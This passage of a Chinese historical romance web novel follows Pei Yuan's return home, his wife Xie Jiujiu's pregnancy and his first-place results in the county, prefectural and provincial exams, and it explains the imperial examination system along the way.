不怪裴元没见识,而是关家的门楣实在太高了些。当年关家出事,是被现如今的圣上当年的太子给牵连的,为这事圣上对关家一直多有怜惜。 后来圣上登基关家老爷起复才一年就死了,听说当时的皇帝都出宫来关家上了一炷香。从那以后关家的圣宠就没断过,关如琅如今又入了詹事府,这明显就是天家父子都喜欢用关家人。 雷霆雨露皆是圣恩,关家受过雷霆也接得住雨露,如今在京城俨然是简在帝心圣眷正隆。 这个时候把当年流放路上走失的女儿找回来,即便有些消息灵通的人家听说了什么,也不会在这个时候扫兴讨人嫌。 关氏一回去就被关老夫人留在身边住下,母女两个一个住左边卧房一个住在右边暖阁,家门专门给关令仪准备的院子,反而只有裴元一个人住。 在关家住了半个月,起码有十天都在跟着关如璋和关如琅吃席会客,剩下的五天是关家宴请宾客,庆祝家里姑小姐回来。 关如璋确实如关如琅所言,是一个很圆滑很谨慎的人。别说面对裴元和关令仪,即便是面对亲娘关老夫人,他也从不多言,即便要说什么也不会把话说死。 这样谨慎的人也更加明白怎么才能让裴元真正放心,关上门来在府里如何对关令仪好,说不得还有作伪的可能。 大张旗鼓让整个京城都知道关家三姑小姐回来了,反而更能让人安心。高门大户要脸面得很,这么高调接回了女儿,便是面子情也不能薄待了关令仪。 关家的态度摆在这里,裴元自然能放心回来。见过黄娟,把这一路的事大致跟她说清楚,谢九九便牵着裴元回了前院。 热水承平已经烧好了,前院如今还算宽敞,东厢房旁的角房就被谢九九专门拿来做浴间。 大冷的天在路上走了一个多月,要说不累那是鬼话。裴元洗完澡连说话的劲儿都没有,躺在床上拉着谢九九的手,只含混着叮嘱她今天别去云客来,就迷迷糊糊睡沉了。 第55章 第55章别人有的我家的也得有!…… 裴元这一觉睡得极沉,等到再醒来外面的天已经黑了。前院厢房两边都带着角房,一个做了浴房,另一个自然做了灶间。 因为没分家,后院还有大厨房,平时中午和晚上这两顿饭,两人只要在家都会去后院陪黄娟一起吃。 前院的灶间里只盘了一个小灶台,方便谢九九和和裴元晚上弄些简单的宵夜或是烧水煮茶。 裴元是被一阵阵若有似无的香味弄醒的,醒来的时候屋里就他一个人,床边的纱帐放下来遮住了外面橙黄黄的烛光。 长时间奔波在路上的人突然安安稳稳睡一觉,醒来之后只觉得浑身瘫软无力,手指蜷曲握拳都直哆嗦。 抬手起撩开一小截纱帐,不想起床又睡不着的裴元,就这么侧着身子躺在床上呆愣愣的看摆在卧房里的熏笼火盆。直到谢九九端着两碗面条进来,才打破屋里的静谧。 “上车饺子下车面,是有这个说法对吧。” 容县北方人不多,但同在一条街上做生意的,还是有一家专门做饺子和面的小食肆,生意不温不火的也开了许多年。 老板一家子都是山东人,做面食做得一绝。谢九九好几次去他们家吃面,就是为了看老板揉面擀面的手艺,就是眼睛看会了手上还是不熟练。 本来就打算给裴元做一碗面条,谁知不是水放多了就是面粉多了,装面粉的布袋放在一旁,一下子抓一把一下子又抓一把。 抓到最后面粉用了不少,面活得还是不咋地。 干脆让承平往饺子馆去了一趟,买了些现成的面条回来。有了面条,炒码子那还不简单,三下两下就给裴元做碗仔姜炒鸡的面条出来。 仔姜不如老姜那么辛辣,谢家一年四季都要做酸仔姜来配菜。鸡腿肉剔骨切块,跟仔姜辣子一起炒,鲜香酸辣还没骨头,拿来拌面最好吃了。 裴元起身随手拿过挂在床边的衣裳,唏哩呼噜把一大海碗面条没多会儿就被他吃了个干干净净,连汤底子都喝得干干净净。 填饱了肚子,才发现穿在身上的衣裳是新做的,样式和平常常穿的直裰有些区别,是道袍的样式。 本朝文人喜穿道袍,但裴元平时还是更习惯穿直裰。直裰两侧的衣摆开得比道袍简单,衣袖虽也能做宽大的款,可怎么还是比道袍更简洁方便些。 道袍两侧开衩处要添加内摆,走起路来内摆若隐若现的跟宽大的广袖交相呼应,要是穿衣的人身段欣长又长得好,确实是显得格外雅致,翩然若仙。 “也不知道刮的什么风,成衣铺子和绸缎庄的人都说今冬时兴道袍,我看别人家都 做了,那我不得也做两件。” 谢九九在打扮裴元这件事上从来不小气,别人家的郎君都有的衣裳裴元怎么能没有。这会儿穿在他身上这件藕荷色绣暗花云纹的道袍,便是谢九九最满意的一件。 “这一趟出去真瘦了,恐怕衣服都要改。”谢九九伸手掐在裴元腰间,拿手在抵在他腰窝上来回比划,又把过于宽松的袍子往里折了折。 手指不经意间滑过裴元腰侧最怕痒的地方,惹得裴郎君忍不住歪了歪身子,随即又被谢九九拽着衣襟扯了回来,“躲什么啊。” 一路风尘仆仆赶在腊八之前就到了家,裴远舟心里且得意呢。这会儿看着谢九九嘴角微微上扬眸子里盛满笑意的样子,“谁躲了,我可没躲。” “想你了。” “我有什么好想的,京城那么繁华不好好玩儿,就想我了?” 裴元倒是也说不出这一路光想她什么别的事都没心思做的假话,只是被关如琅带着在出门的时候,总会忍不住闪念,要是谢九九也在就好了。 “等我过了秋闱,和我一起去京城好不好。” “裴郎君,你童子试都还没过呢,就想着秋闱之后的事了?” …… 没意思!谢九九总是这样,即便情动也总能保持清明,不会被裴元的话带偏。 不过年轻夫妻嘛,床帏间总能有法子分出个高低胜负。 睡过一觉又填饱了肚子的裴远舟,抱起妻子折腾半宿,直到听到谢九九攀在自己肩头答应下次一定不放他一个人出远门,才勉强放过她。 /:. 过完年二月就要县试,回了家的裴元彻底闲了下来。连书都不读了,天天在家就是休养精神,务求在这个过年期间能把好几个月的长途跋涉掉的肉给补回来。 起初谢九九还好吃好喝的伺候着,觉得这人来回一趟京城这么快就回来不容易。 可没过几天,云客来还没放假天天都得去上工的谢掌柜就怎么都看自家郎君不顺眼了。 总觉得他天天在家不是吃就是睡,不然就是去书房里看书写字,再不然便是抱着家里散养的那只大黄猫来回晃荡的日子太悠闲。 裴元也有自知之明,每天到点了就提着食盒往云客来去找谢九九。云客来的食客起初还笑,哪有自己开饭庄还天天来送饭的道理。 之后慢慢才发现小丑竟是自己,人家年轻夫妻之间的趣意,旁人哪里知晓! 没了各种烦心事,裴元因为南北奔波瘦下去的肉只花了一个过年的功夫就全补了回来。而谢九九不再天天吃老韩的手艺,原本小腹上那一层薄薄松软的小肚子也很快消退下去。 这是两人成亲之后在一起过的第一个年,平淡无奇得没有一点波澜都没有,除了累还是累。 小年前一天云客来放假过年,把饭庄上下的工钱和过年红封一发,谢九九就算没事了。 天天在家睡到日上三竿,听着院子里她亲娘把家里所有人都支使起来干活,连家里散养的猫和狗都被拉过来洗了个大澡。那架势不知道的,还以为家里又多杀了两头猪。 等过完年三十,已经成了家的谢九九和裴元,又被黄娟催着出门,天天不是这家拜年就是那家拜年。从初三起,除了初五要迎财神在家歇了一天,直到大年十五都没个歇息的时候。 不过刚过完元宵节,家里就彻底消停了。因为刚过完大年十五,县衙外就张贴试谕,把县试的时间给定了下来。 二月二十六头场(正场)考试,在四书中出题,考八股文一道,再作五言六韵试帖诗一首,从中取优进入复试。 之后二月三十出头场的考生会出一张榜,按照成绩排名。榜上有名的三月初一继续参加复试,复试再考两场,一天考五经经义,一天考策论,这两场中间也会相隔两日。 等复试两场考完,三月初八县衙出案放榜,通过县试的考生按照成绩分为圈、点、尖三等,名单依旧会被张贴在县衙外专门发布消息的地方公示。 圈是优秀,点是合格,尖是候补,第一名为县案首,上榜的所有人都能参加四月份的府试。 府试过后还有六月的院试,三轮考试全部通过了才能成为秀才公。天下的读书人这么多,光是倒在这一步上的就不知有多少。 试谕贴出来,想要考试的读书人就可以开始找五个本地学子互相作保,再一起找一名廪生画押,确保没有替考冒名、服丧期间参加考试的行为。 裴元被过继之后,户籍就被裴雨伯迁到容县来。现在要考试了,自然要在本地找学生和廪生作保画押。 本地行情,县试找廪生作保一两银子,府试找廪生作保二两银子。都说读书贵真真一点没夸张,光是靠秀才什么都不敢就得先花三两银子。 一个长工一年的工钱六到十两,三两银子是没手艺的普通长工半年的工钱。有些家贫的人家,一家子所有的积蓄攒在一起都不够三两,哪里是那么好掏出来的。 “晚上想吃什么,我顺路给带回来。” 裴元如今没有愁钱的烦恼,两人卧房里有个装钱的木匣子,刚开始是裴元找来给自己用的。他平时给衙门帮忙、给人代写墓志铭和书信之类赚的钱,不管多少拿回来就往这个匣子里放。 自己现在赚的钱肯定不如谢九九多,有时候今儿放进去明天又得拿出来买书买笔。 可这不是个态度嘛,反正匣子摆在这儿,谢九九哪天缺个散碎银子,或是想买点心买糖了,随手从里头抓一把拿去用,也好过什么都没有。 后来谢九九也跟着学,把暂且不要用的散碎银子往那匣子里放,等要用了再从里面拿。从成亲后到现在,两人已然分不清那匣子的银子和铜板,谁是谁放的了。 “想吃藠头,路上看见有卖的多买点回来,晚上我们吃藠头炒腊肉吧。剩下的明天早上留着包包子,好不好。” “还有呢。” “再买点梅子,要乌梅和梅肉,不要话梅,太酸了。” “知道了,还有没有。” “唔……没了没了,你快去吧,别让人家等你。” 谢九九想了想没想到,就催促裴元出门。自从他成了关如琅的外甥之后,从京城回来到过年这段时间,县衙的大老爷和两个二老爷就以各种理由找了裴元好几回。 年前裴元照例去县衙送东西,一年到头给县衙干了那么多文书誊写的活儿,总不能只赚不出。 没想到刚到衙门就被何县丞叫到他院子里去了,絮絮叨叨说了老半天,没有什么具体的事情要说,也没说想要通过裴元搭上关家。 反而还给裴元介绍了过完年也要参加县试的几个童生,到时候好能互相结保,找熟悉的廪生画押。 现在裴元就是要出门去那几个童生,大家一起去找廪生结保,早些把这事给办妥了早安心。 谁知裴元刚出门,谢九九又跟了出来。站在院子里喊住都已经绕过影壁的裴元:“再带一只酱板鸭回来,晚上我陪你喝点儿?” 第56章 第56章对灯发誓!绝不乱来!…… 裴元这几年跟容县的童生往来不多,上次在何县丞处也只‘恰巧’见到了两个去找县丞老爷请教功课的童生。 何县丞当年考取举人以后没再中进士,听说以前是在别的地方做主簿。七八年前托关系到容县做了县丞,过两年要做五十大寿,再想往上升迁应该是没机会了。 两个童生年纪都在二十多岁,听何县丞介绍学问很是不错。两人见到裴元也表现得很亲和很想要跟裴元相交,但言语之间有十分有分寸,不该问的并不多问半句。 裴元懂他们的意思,这两人跟何县丞或是师徒或是亲戚亦或是足够打动人的金银关系。 他们托何县丞 跟裴元相交,以后要是大家都能考过童子试继续往上考,到了京城他们既是老乡又有一起结保的交情,不管是真心还是假意,裴元面子情总要给的。 到时候要是他俩真的有大机缘大前程,有朝一日何县丞有什么事,又可以反过头来求到他们二人身上,这便是读书人之间的两厢便宜。 人嘛,一见如故相见恨晚的交情大多都只出现在书里。更多人相识相交就是从这些抹不开面的面子情开始的,裴元对此并不抗拒。 就像过年的时候,谢九九提前两天处处哄着自己,温柔小意得裴元浑身不自在,也是为了让自己答应跟黄金珠和罗永吃顿饭,道理是一样的。 瞧不上罗永是小事,黄金珠是已婚的妇人同自己也不会有什么打交道的时候。可中间还夹着谢九九呢,那这个面子还能不给吗。 都是待考的童生,即便心里有什么盘算,面上总是体面周全的。就是五人汇合以后去找早就约定好的一名姓白的廪生画押时,出了个小插曲。 白秀才是容县本地小有名气的一个书生,他考上秀才那年才十六。 这个年纪放在南直隶或是江南和京城,或许不算特别少见,但对于岳州容县这样地理位置都接近岭南的地方来说,说是神童也不怎么为过。 可惜小时了了大未必佳这话在白秀才身上竟一语成谶,十六岁的秀才入府学,院试排在前十不用岁考就成了廪生。 那时候人人都觉得下一次白秀才再下场考乡试,就要成为白举人了。谁知在府学岁考成为廪生就成了他最后的绝响,之后二十年,不管什么考都死活考不上举人。 但这人读书又极刻苦,成为廪生以后必须按时参加府学里的岁考,要是有三次缺考就会被革退,降为普通生员。 这个白秀才不光从未缺考,他一直在府学读书连缺课的时候都少。 二十年如一日,不想法子谋个正经差事也没有自暴自弃随波逐流,就这么从神童成了老廪生,谁也说不好这么一个人,未来会如何。 县试之前这一个月,县城里的几个廪生都很忙。忙着给童生们结保画押,这也是他们一年里赚钱最容易的时候。 县试一次一两银子,五个考生互相结保,一次便是五两。府试需要两名廪生结保,一般一次二两银子,两人平分这又是五两。 县城里就这么几个廪生,白秀才又名声在外,他当了二十年廪生,每次结保画押该走的流程他都熟,考试当天不用人请就主动去考场外等着,确认他作保的童生是本人,没有替考的情况。 有这么个不用三催四请的白秀才,这么多年从未出现到了考试当天找不着人的混账事,容县的童生大部分都愿意找他作保。 去白家的一路上裴元听另外四人说了不少关于白秀才的事,但真见到人时裴元还是暗自惊诧了一下。这人看上去太严肃了,严肃得比书院里最古板的先生还不苟言笑。 结保画押的流程白秀才熟得不能再熟,见了几人确定过身份便拿出一张连毛边都磨出来的纸笺,上面写着范本,五个童生都要按照范本把结保的事项落在纸上。 然后交给白秀才核对,他确认过待考的童生身家清白,且没有隐匿服丧、冒名顶替等情况才会画押。 画押之后,把东西送去县衙礼房,等礼房吏员核对无误,加盖县衙印章。之后等到考试当天,考生再带着这张有县衙印章的纸去考试。 在考场门外,除了要搜身确定没有夹带,廪生也要到场再次确认来考试的人没有被顶替,之后考生才可以入考场考试,廪生大部分的工作才算做完。 裴元几人把东西写好,有两个童生因白秀才早年间的名气,还想留下来跟他请教文章。 谁知这人的性情比他的外貌还要生硬,硬邦邦的一句等日后你们考上秀才了再来讨教不迟,能把人噎个半死。 读书人心气都高,白秀才不论因为什么这么说话,都算是把人得罪透了。 那俩童生从白家出来走出巷子,脸上的怒意都还没消,连声抱怨都说要不是结保的银子已经给了他,他俩绝对要另找他人。 这话不过是抱怨话,其他几人谁都不当真。一大早出门,折腾一番下来也到了中午时分。 冬天饿得快,五人中有一人姓周名世安,字平之。是何县丞介绍给裴元认识的两个童生之一,除此之外两人还曾有过一面之缘。 去年裴元领着谢九九一众人去踏青,在那亭子里遇上的几个书生里就有这个周童生,周世安家里在县城开点心铺子,一个铺子也传了三代人,在县城算得上一富户。 这人不高,比裴元矮了大半个头去,偏还有些胖,粗粗一瞧整个人矮墩墩的,要是非要夸也只能夸他一声长得真壮实。 这人性情好,他在白秀才家里的时候就饿了,只不过没好意思说。出来也不管几人其实并不算多熟,“远舟、云驰,还有两位同窗,咱们不能光办事不吃饭吧。” “今日咱们也算都花了大钱了,临泽楼那样的地方就不去了。我知道隔壁街有个好吃的馆子,咱们先去把五脏庙给祭了如何。” 云驰姓何,是何县丞介绍的两个童生中另外一个。也姓何,虽没明说他跟何县丞有什么亲戚关系,但傻子也知道肯定是他的子侄后辈。 何童生本名阿七,谁也不知道怎么字取得挺好的人名字取得这么随意,也没有人多问过,反正平时唤他云驰就行了。 何云驰的性子正好跟周世安相反,他是个极温吞的人,乍一看跟沈霁很像,但其实他比沈霁还要温和。 就连裴元回家以后都忍不住跟谢九九说起这人,好似一团水,谁说什么谁做什么他都能附和,看不出一点儿他自己的好恶。 这会儿听周世安说要去吃饭,果然又是他第一个点头答应,安心跟着他往饭馆的方向走。 裴元见状也无可无不可的跟上,出门的时候答应了谢九九要买不少东西,这个时候去买了回去也赶不上饭点,干脆吃了饭再去买东西,更从容些。 五个人里有两个人都跟着周世安走,另外两个互相对视一眼自然也就跟上来了。 本不相熟的几人,同一张桌子坐下三两杯酒水下肚自然就熟了。等到裴元提溜着两只酱鸭一大包梅肉蜜饯和老大一把藠头到家时,身上的酒气都还没散干净。 “喝了多少啊,这么投缘?我看你过年前跟沈霁都没喝这么多。” “就是不投缘才只能喝酒,跟沈霁吃饭我还能遭这个罪。” 两只酱鸭和一大捆新鲜藠头让曹勇拿到后院去,蜜饯零嘴留了一大半给谢九九,还有一小半已经提前拿油纸包分出来了,丈母娘和小姨子一人一半,谁也不偏着。 谢九九看着半躺在罗汉床上的裴元笑,从蜜饯里挑拣出一小包无核蜂蜜梅肉,拿着梅肉坐到罗汉床旁,由着裴元侧过身子搂在自己腰际。 要醉不醉的男人特别能撒娇,看不出半分人前的持重老成。谢九九挑了一片最饱满的梅肉喂到他嘴里,“四个人,就没一个咱们郎君能看上的?” “那个周世安还行,性子好热闹了些,但为人不错。”梅肉又酸又甜,含在嘴里口齿生津激得裴元浑身一激灵,“何云驰我有些看不透,总觉得世上这么温润如水的人,该是少有。” 即便有,也不能都被自己给认识了。有一个沈霁就够了,更何况正是因为认识沈霁,裴元才越发觉得何云驰的温润透着一丝假,有时候过犹不及就是这个道理。 “啧,老说别人做什么。这么好的天,难得你不去云客来,是不是~” 是不是什么?裴元也不说明白,就死皮赖脸地把自己的手指往谢九九手心里抠,整个人活像只大狗子一样赖唧唧的。 哼哼得谢九九彻底软了身子,倒在罗汉床上,被裴元一把揽过滚到罗汉床里侧,捎带手还把开了半扇的窗户给关上了。 酒后微醺,两人酣畅淋漓做了一场大的,直到太阳落山才鸣金收兵。 藠头炒腊肉的香味已经从后院飘到前院来了, 家里没有一个人来前院喊两人吃饭,就连老吴叔躲到后院去了。 两人坐在罗汉床上面对着面指灯发誓,直到裴元考试完之前都不做了,要让他一门心思备考,不能老想这些有的没的! 原以为不过一个多月,眨眼就过去了。之前裴元在书院读书和去京城那段时间,两人分开那么久也没有怎么样,这一个多月又算得了什么。 谁知没人躺在身侧自己一个人睡,和有个人躺在身旁却不敢乱动之间的天差地别。 才熬了三天裴元就先缴械投降,夜里偷偷把手伸到谢九九的被子里,“县试过后又是府试,难不成之后也这么熬着?” “你想那么远做什么,府试是四月县试是二月,你先把县试考完了再说。” 裴元要考试,谢九九在云客来听了不知道多少故事。 什么几年前哪家的童生因为紧张去药铺抓药,本是想睡个好觉,谁知吃了药第二天整个人都晕晕沉沉醒不过来。好不容易被家人夹着赶上进考场,又在考场里睡了整日。 等出了考场人醒了,坐在考场外面哭得那叫一个痛心疾首,听说之后那童生和家里人还一起去药铺闹了一通,最后被药铺老板喊人拿大棒子给打了出来才算完。 听得多了,谢九九自然越发小心。不能扰了裴元备考也不能把人憋得太狠,只能是拿根胡萝卜吊在他前面,把县试考完了再说。 谁知有些事就有这么巧,县试考完出案发榜,裴元拍在第一为县案首。高高兴兴回家找谢九九要兑现承诺,谁知谢九九也有一喜正等着他。 “上个月月事没来,这个月月事又没准时。前几天趁着你复试我去找大夫瞧了瞧,大夫说应该是怀上了。” 第57章 第57章谢阿满 裴元觉得自己这辈子都会记得那个黄昏,县试放榜自己过了,猴急猴急的回家哄着谢九九别吃晚饭先办事,谢九九眉眼噙着笑意和几分揶揄,告诉自己她怀上了的消息。 第一反应是高兴,高兴得裴郎君跟驴拉磨一样在屋子里打转。像是想起什么了突然往外冲,走到前院连接后院的门口又顿住脚,转身往回走。 回房抱住谢九九,平时抱妻子总习惯紧一紧手臂的人那天完全不敢用力,谢九九却能察觉到他整个身子都在止不住的颤抖。 等抖完了才想起另一件挺重要的事,本来以为只用忍一个多月,现在被突如其来的孩子这么一掺和,就把这一年都掺和完了。 裴元低头把脸紧紧贴在妻子肩头,就在谢九九以为他激动得哭了的时候,谁知这人突然嘟囔了一句,早知道那天下午就不该谢九九耍一耍赖,自己便心软放过她。 那语气里还带着几分遗憾,把谢九九都气笑了。没好气地在裴元肩膀锤了几拳,这才推着他往后院去,跟黄娟报喜。 这事自己藏了几天谁也没说,裴元是除了自己之外第一个知道的。自己是娘他是爹,以后生出来的这个小崽子便是自己和他带到这个世上的家人。 不管是谢家还是裴元,这个孩子对于他们来说都太重要了。 重要得裴元的府试院试好像都没那么重要了,过年前还死活缠着谢九九答应自己再不放他一个人出远门裴元,这一次又说什么都不肯带上谢九九去潭州府应考。 等到院试放榜,裴元一举夺魁考了院试第一之后,他也成为了近十年来,湖广行省在潭州府应考的第一个小三元。 县试、府试、院试三试拿到第一才能被称为小三元,与之相对的□□则是童子试、乡试、会试拿到第一。 考中秀才、举人、进士最关键的是学识,但要拿到小三元和□□,除了学识之外运气也不能太差。 就好比沈霁,他这一次比上一次考试心态好了许多,县试府试也都很顺利的通过了,谁知院试前两天不知怎么就染了风寒。 虽说吃了药勉力应考也考中了秀才,排名却不算高。院试过后前十名通常会被定位廪生,廪生之后便是增生和附生,沈霁的名次则是增生末尾。 廪生每月领取廪米6斗用来补贴生活,还能每年像白秀才那样给童生作保画押赚个几十两银子。增生无廪米,可依照每年岁考的成绩递补廪生的缺额。 但每个县的廪生数额是有限的,想要递补还得等廪生把位置空出来,要么考取举人要么革除功名或是去世,这就必然是僧多肉少,能叫人抢破头。 再加上考中秀才之后还是要读书的,按照惯例增生和附生大多入县学读书,廪生则能入府学读书。 府学的老师和条件当然比县学要好,所以每一次考试都是一道分水岭,每一道分水岭都能最大程度影响考生,还能不能考中举人、进士。 不过好在沈霁家里不缺银子,他家又在岳州府府城。要是花银子找关系都没办法入府学,他还能继续回青松书院读书。青松书院的名气,可不比府学小。 家里没个秀才公之前,不知道有个秀才公跟没有到底是什么区别。直到裴元考上了秀才,谢九九才知道原来秀才娘子跟谢家娘子之间的区别有这么大。 裴元院试的成绩排在第一,又是小三元,从潭州府回来时路经岳州府时,去书院给崔鹤儒请安报喜,不光有李骏主动找过去凑热闹,就连王通判和裴家也闻风而动跟去了书院。 裴家去的不是裴老三,关如琅带着关令仪回京城之后,裴家越想心里越不安稳。 哪怕家中几代人在岳州扎根繁衍,可裴家大老爷还是害怕。 万一关家这个强龙哪天突然想起来裴家这个地头蛇,哽在心头又咽不下这口气了,回过头来跟裴家算账,如今的裴家就是全捆在一起,也扛不住一个关如琅。 所以这些年一直留在岳州打理家业的裴老三,被燕氏带去了高州,岳州只留下蒋氏和她的两个儿子料理。 反正裴家那两个少爷也都娶妻生子了,读书不成那就在家管着家产庶务吧。再加上他们还有蒋氏这个母亲和蒋家的亲戚帮衬,即便做不了多好,也不至于比裴老三做得更差。 这话是蒋氏跟两个儿子说的,只有她自己知道这些年明面上是裴老三当家,私底下的事情到底是谁在操持。 蒋氏商户女出身,没有裴老三身上那股子‘没本事还要摆架子’的酸臭劲儿,裴家二房的产业这些年起码有一大半是蒋氏在经营。 替裴老三那个并没有多少情分的丈夫经营,蒋氏的宗旨一直都是能糊弄就糊弄,远在高州的老爷也知道他家三儿子是个什么货色,每年送去高州的账目和银钱东西差不多能过得去,也就可以了。 每年二房的田产田庄铺面真正的产出,蒋氏起码截留下来三到四成,若是年成好的时候甚至能到达五成。所以裴老三在与不在,对蒋氏来说一点儿也不重要。 两个儿子只要听话,她自然能帮着他们把高州那边糊弄过去。裴老三是亲爹,但亲爹再亲又哪有银子装在自己荷包里亲。 有了亲银子没了亲爹的裴书光跟着大伯来青松书院,给裴元这个同父异母的外室子弟弟送贺仪,面上一丝不情愿都看不出来。 裴书光是裴老三和蒋氏的长子,比裴元大五岁。裴元长得像关令仪他长得像蒋氏,兄弟两个站在一处,要是不知道裴元跟裴家的关系,是绝不会把他们认作兄弟。 在读书一道上完全没有天赋的裴书光,从去年起被蒋氏手把手地领着学做生意料理家里的庶务产业,已经入了门道。 以前家里有父亲掌家 ,父亲在外如何胡来他这个做儿子的管不了也不想管。 对于裴元这个弟弟,他的态度一直也是无可无不可。他是裴老三这一房的长子,按照裴家的规矩父母由长子奉养,分家的话长子继承六成,其余四成由剩下的庶子均分。 若其它儿子里还有正妻所生的儿子,四成中的大半又会被他们继承大半,最后剩给庶子的也就那么三瓜两枣,没必要计较那点儿。 但谁能想到裴元这么个外室子还能有这样的运道,先是被过继出去,后又成了关家的外甥。现在考中小三元,裴书光连艳羡嫉妒的心都熄了大半。 前一天在家时,跟妻子提起裴元这个自己亲爹都不敢认的儿子时,只说人这辈子的运是命定的,羡不来也恨不来。 或许是心态格外的好,裴书光和裴元之间并没有外人想象的剑拔弩张。 两人都默契地抛开了互相的身份关系,裴元只当裴书光是个来送贺仪的乡绅豪族,裴书光只当裴元是可以提前巴结的秀才公,谁也不曾戳破两人之间那层不该再提及的关系。 和王通判、李骏等人客气周旋一番,又停留一日赴了府衙给本府新考上的秀才设的贺宴,才继续往回走。 好不容易从府城回来的裴元,还没等家里把办酒席的时间定下,之前替他作保的廪生白秀才又主动找上门来。 那个神情肃穆不苟言笑的中年男子,哪怕主动上门来祝贺裴元这个新鲜出炉的小三元,脸上挂着的笑也像是勉强扯着皮肉扬起嘴角,看着特别让人不舒服。 白秀才是提着东西过来的,按理说谢家得留他吃顿饭。 这人又说什么都不肯,连声说家中还有事,只在临走的时候殷切询问裴元之后是否会入府学读书,要是去的话到时候两人可结伴往府城去。 等人走后谢九九还说,这人看着不好打交道没想到还挺热心。谁知裴元却轻轻嗤笑了一声,抬手在谢九九脑袋上揉了一把,一向精明能干的谢大娘子,这回怎么不聪明了。 “他哪里是对我热心,他今天过来是来告诉我作保画押的生意这个县城是他包圆了,我的前程不在这里,他不想我跟他争。” “啊,真的假的,他真是这个意思?” 谢九九当然会看眉眼高低,也听得懂别人的话中话,但或许是白秀才说得太隐晦,又可能是裴元这人心思弯弯绕的本领比自己更胜一筹。 反正谢九九还以为白秀才早早过来,是为了跟裴元交好甚至是巴结。毕竟刚出炉的小三元和考了二十年还没考上举人的老秀才,两者之间谁更值钱,瞎子也能看明白。 谁知人家的心思都放在银钱上,谢九九甚至有些佩服他,人家是来锦上添花,他的心思却已经放在明年县试,作为廪生的他会不会多一个竞争对手了。 “白秀才一门心思扑在学问真是可惜了,要是他能一门心思来做买卖,说不得这县城里的豪富人家都得有他一份。” “就你促狭。这话可千万别让外面的人听见。” “知道知道,旁人要是知晓我说的这话,恐怕就更要问某个裴远舟裴郎君抱不平了。好好一个小三元,如何就被我这么个谢九九得了去!” 考中小三元之后,裴元的出身就更加鲜少有人提及,反而有些人转过头来‘好意’劝说裴元,如今他既出身不是短处,自己又有了功名,又何必再与谢家做女婿。 不如找个机会跟谢九九说一说,要么他们俩从谢家搬出来,入赘变娶妻,以后生的孩子跟裴元姓,这才是夫妻之间的正道。 要是谢家和谢九九不愿意那就和离,反正以裴元现在的名声和地位不怕娶不到更好的妻子。 好些人都听说了,说是县城的大老爷私底下跟人喝酒的时候,还感慨过裴元处处都好就是这婚事不美。要是他没成亲,他都恨不得把自家的女儿许配给他。 话是醉话,但传出来就成了半真不假。黄海知道以后好几天在衙门里进进出出都黑着脸,大老爷是老爷,可再是老爷也没有这般抢别人家女婿的道理。 这种话落在有心人耳朵里谁不当真?!娶县太爷家的小姐,多少人想都不敢想,要是裴元那小子真因为这个三心二意非要跟九九和离,谢家又能怎么办。 不过好在不管外人怎么说,裴元都是谢九九的了。 三月初大夫诊脉诊出喜脉,九月初一谢九九在家里生下一个六斤六两,大名裴元还在挑选死活选不出来,小名阿满,家里上下都唤做谢阿满的大胖丫头。 第58章 第58章停一停 都说科举难,落榜的童生艳羡考上的生员,人人心里都想着要是是自己考上的就好了,头戴银花拜谒学官,从此以后就能免徭役、见官不拜。 这不仅仅是权力,还是读了这么多年书得到的回报和象征。即便还没有中举离当官也还早得很,可那也标志着他们跟衙门里的老爷本质上是一样的人了。 真正考上了秀才的人,才能明白这才哪到哪儿?想跟老爷们当一样的人,还早着呢。 生员按照院试成绩分为廪生、增生、附生。 廪生必须入官学读书,或是府学或是县学,入学之后每年参加岁考,考过了继续保留廪生的待遇,连续三次缺考或是不合格,则会被革除廪生资格。 廪生入官学读书有补贴,除了每月的廪米还有官学发的膏火银,补贴学生读书所需的灯油纸笔钱。增生能入官学但没有补贴,附生想入官学还要考试。 这便是成为秀才公之后面对的最直接的区别,官学比大多数的私塾要好,官学里的教授为从九品,大多由举人或是贡生担任。县学里的教谕不算官,大多数时候都由贡生担任。 贡生,听名字也大概能明白是什么意思。岁贡和选贡都是每年从府、州、县以不同的形式,或考试或选拔挑选优秀的生员成为贡生入国子监读书。 这一部分学生大多数有真材实料,即便差点儿也差得有限。 还有一部分被称为贡监,这一批人则是通过缴纳一定银钱进入国子监读书。这些人在国子监读书读到一定程度通过考试以后,再分配到县学和府学担任教谕。 如此一来,贡生的水平就注定参差不齐,尤其是县学的教谕和训导,碰上有真学识的那是运道,碰上糊弄事的便是有苦没地儿说去。 家里条件好出得起银子的秀才,大多数去不了府学也不会去县学。 而是会找当地有名的书院读书,就好比青松书院,书院里的生员班分成了天地玄黄,听说今年还要再加一个黄三班。 家里条件不好囊中羞涩的,要么去县学里先待着,等凑够了银子再去大书院求学,要么直接去小私塾里读书。 那些学子们也有自己的说辞,读书靠自己苦读,书中自有黄金屋。只要能一心一致,花上十年二十年,就不信考不出个功名来。 所以当裴元决定暂且不去府学,只入县学读书时,且不说外人就是谢九九都是不同意的。 “那怎么行,我听云客来的几个老客人说过了,说咱们岳州府府学的教授是个有真本事的举人老爷。他不是学识不够考不上秀才,而是志不在此才没有继续往上考。” “章先生生平喜爱自由,听说章家是书香门第簪缨门第,他早年间考举人是为了家中爹娘,考上举人有了交代就不愿再违背本心。” 章世铮,号铁书先生,为人豪放不羁,年轻的时候曾放言要做天下第一狂生,后走遍大江南北找人斗学论道。听说挨过别人的打,也跳起来打过别人。 裴元听说过他很多故事,却不知道他为何在十年前停留在岳州这么个偏远府城里,给岳州的府学做了教谕,一做便是十年。 十年间多少人来岳州请他做幕僚,青松书院也曾请他去书院当先生,都没人能请动他。这 些年唯一一次出岳州,还是回老家奔丧。 听说他在府学上课从来不留功课,也不问每日人到齐没到齐,这些事都是府学的训导们在管着。 这人平日里好穿白衣道袍,一年四季手执折扇,眉目舒朗坐卧走动间步履生风,袍袖翻飞,很多人都说铁书先生有魏晋遗风,这话也不知道是夸还是讽。 不过不管他为人狂不狂傲,学识渊博是毋庸置疑的。经史子集信手拈来,打心底里厌恶八股,写起来却又能比谁都鞭辟入里。 府学里的学生没有没被他骂得狗血淋头过的,听说有些自命清高的学生实在受不了他尖酸刻薄的辱骂,甚至被气得哭着喊着活着没意思,不如死了的干净。 但即便是这样,哭完了的学生转过天来把眼泪抹干净,还是要老老实实把重新写过的文章交上去。 因为自从他来岳州做教授以后,岳州府府学每次乡试考取举人的人数就没下过十人。 对于在府学教学的教授和训导,朝廷是有要求的。每次乡试府学考中举人的人数能达到九人便是最优,岳州府读书的风气只能算中等,这十年三次乡试都拿到了最优。 